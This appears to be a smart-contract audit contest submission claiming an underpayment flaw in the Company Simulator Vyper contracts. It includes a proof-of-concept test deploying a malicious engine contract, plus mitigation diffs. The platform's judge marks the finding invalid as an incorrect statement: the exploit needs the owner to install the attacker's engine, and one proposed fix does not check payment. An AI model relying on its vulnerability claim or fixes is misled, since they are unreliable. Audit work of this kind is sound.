Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

CustomerEngine raw_call allows underpayment leading to loss of ETH in CompanyGame

[H-02] CustomerEngine raw_call allows underpayment leading to loss of ETH in CompanyGame

Description

The CustomerEngine contract uses raw_call to forward total_cost to the external CompanyGame contract, assuming that the callee verifies msg.value against the expected price:

# Root cause in CustomerEngine.vy
# @audit Company contract does not verify msg.value, so malicious engine could underpay.
@external
def buy_items(requested: uint256):
total_cost: uint256 = requested * self.item_price
data: Bytes[100] = method_id("purchase(uint256)") + convert(requested, bytes32)
raw_call(self.company, data, value=total_cost, revert_on_failure=True)

However, this assumption is unsafe.
If the target CompanyGame contract fails to validate the payment amount, a malicious or buggy engine could call sell_to_customer() with insufficient or zero ETH, yet still trigger successful sales or state updates.

This leads to an underpayment vulnerability, where items can be purchased below cost, causing direct loss of ETH or economic desynchronization between the two modules.

Root Cause

  • The payment check is missing in the callee (CompanyGame), and raw_call does not enforce payment correctness automatically.

  • The system assumes that the external contract always validates msg.value, but this assumption can be broken in modular or upgradeable deployments.

Risk

Likelihood: High

  • Any malicious or unverified CompanyGame contract can ignore msg.value.

  • The call succeeds without enforcing that payment equals item cost.

  • Exploitation requires only interacting with or redeploying a compatible CompanyGame contract.

Impact: High

  • Attackers can obtain items or trigger paid actions without sending the full payment.

  • This directly leads to loss of ETH or other financial value in the Company system.

Proof of Concept

This is the PoC test (drop into tests/test_refund_failure.py or run as a separate file):

# tests/test_refund_failure.py
import boa
from eth_utils import to_wei
import os
# Inline malicious engine Vyper source
MALICIOUS_ENGINE_SRC = """
# @version ^0.4.1
interface CompanyGame:
def sell_to_customer(requested: uint256): payable
@external
@payable
def exploit(company: address, requested: uint256):
selector: Bytes[4] = method_id("sell_to_customer(uint256)")
arg_bytes32: bytes32 = convert(requested, bytes32)
arg: Bytes[32] = slice(arg_bytes32, 0, 32)
data: Bytes[36] = concat(selector, arg)
raw_call(company, data, value=msg.value, revert_on_failure=True)
"""
# Helpers: compile+deploy functions that work across boa versions
def compile_and_deploy_from_source(source: str, deployer_address):
compiled = boa.loads(source)
if hasattr(compiled, "deploy"):
return compiled.deploy(sender=deployer_address)
return compiled # already deployed instance
def compile_and_deploy_from_file(path: str, deployer_address):
assert os.path.exists(path), f"Contract file not found: {path}"
with open(path, "r") as f:
src = f.read()
return compile_and_deploy_from_source(src, deployer_address)
def test_underpayment_with_inline_contract():
# --- accounts / deployer setup ---
deployer = boa.env.generate_address("deployer") # will be contract owner
attacker = boa.env.generate_address("attacker")
boa.env.set_balance(deployer, to_wei(10, "ether"))
boa.env.set_balance(attacker, to_wei(1, "ether"))
# --- deploy Cyfrin_Hub with deployer (owner will be deployer) ---
company_path = "src/Cyfrin_Hub.vy"
company = compile_and_deploy_from_file(company_path, deployer_address=deployer)
# read actual OWNER (defensive)
try:
owner_addr = company.OWNER_ADDRESS()
except Exception:
# fallback: if different naming, try OWNER()
owner_addr = company.OWNER() if hasattr(company, "OWNER") else deployer
# ensure owner account has balance
boa.env.set_balance(owner_addr, to_wei(10, "ether"))
# --- compile & deploy malicious engine (attacker deploys it) ---
engine = compile_and_deploy_from_source(MALICIOUS_ENGINE_SRC, deployer_address=attacker)
# --- prepare company: fund & produce inventory (owner-only ops) ---
with boa.env.prank(owner_addr):
company.fund_cyfrin(0, value=to_wei(1, "ether"))
company.produce(10)
initial_inventory = int(company.inventory())
assert initial_inventory >= 10, "setup produce failed"
# owner sets the malicious engine as the CUSTOMER_ENGINE (owner-only)
with boa.env.prank(owner_addr):
company.set_customer_engine(engine.address)
# record balances before exploit
onchain_before = boa.env.get_balance(company.address)
internal_before = int(company.company_balance())
# attacker triggers exploit: engine.exploit forwards ZERO wei (value=0)
requested = 3
with boa.env.prank(attacker):
engine.exploit(company.address, requested, value=0)
# assertions after exploit
inventory_after = int(company.inventory())
assert inventory_after == initial_inventory - requested, f"Inventory should drop by {requested}"
# internal accounting increased (vulnerable behavior)
try:
sale_price = int(company.SALE_PRICE())
except Exception:
sale_price = 2 * 10**16 # fallback (0.02 ETH)
internal_after = int(company.company_balance())
expected_increase = requested * sale_price
assert internal_after >= internal_before + expected_increase, (
f"Internal company_balance did not increase as expected: {internal_before} -> {internal_after}"
)
# on-chain ETH should be unchanged (attacker forwarded 0)
onchain_after = boa.env.get_balance(company.address)
assert onchain_after == onchain_before, (
f"On-chain ETH changed unexpectedly: {onchain_before} -> {onchain_after}"
)
# debug prints visible with -vv
print("initial_inventory:", initial_inventory)
print("inventory_after:", inventory_after)
print("internal_before:", internal_before)
print("internal_after:", internal_after)
print("onchain_before:", onchain_before)
print("onchain_after:", onchain_after)

Run with:

mox test tests/test_refund_failure.py -vv

Recommended Mitigation

Add strict payment verification within Cyfrin_Hub or enforce invariants in CustomerEngine.
Both sides should not rely on assumptions about the other’s correctness.

  • Enforce in CyfrinHub.py

# Cyfrin_Hub.vy
@external
@payable
def sell_to_customer(requested: uint256):
+ required: uint256 = requested * ITEM_PRICE
+ assert msg.value == required, "Incorrect payment amount"
...
  • Enforce in CustomerEngine

# CustomerEngine.vy
def trigger_demand():
...
- raw_call(self.company, data, value=total_cost, revert_on_failure=True)
+ success: bool = raw_call(
+ self.company,
+ data,
+ value=total_cost,
+ revert_on_failure=False
+ )
+ assert success, "Payment verification failed"
Updates

Lead Judging Commences

0xshaedyw Lead Judge
4 days ago
0xshaedyw Lead Judge 2 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.